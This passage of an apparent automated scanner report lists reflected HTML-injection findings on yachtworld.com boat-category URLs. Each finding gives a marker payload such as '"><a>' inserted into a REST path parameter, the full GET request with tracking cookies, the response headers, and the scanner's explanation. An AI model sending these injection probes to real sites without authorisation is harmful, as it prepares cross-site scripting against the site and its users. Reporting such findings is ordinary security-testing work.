savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:18 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd2c7"><a>f35a277fa21 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Other/1cd2c7"><a>f35a277fa21 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f955"><a>032e4aebb66 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Saltwater+Fishing/13f955"><a>032e4aebb66 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:21 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56791"><a>5cc62e06761 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Sport+Fishing/156791"><a>5cc62e06761 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:30 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 372ce"><a>66475f64c1a was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Trawler/1372ce"><a>66475f64c1a HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:00:15 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87ef4"><a>24280be2529 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /boats/Sail87ef4"><a>24280be2529/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDesti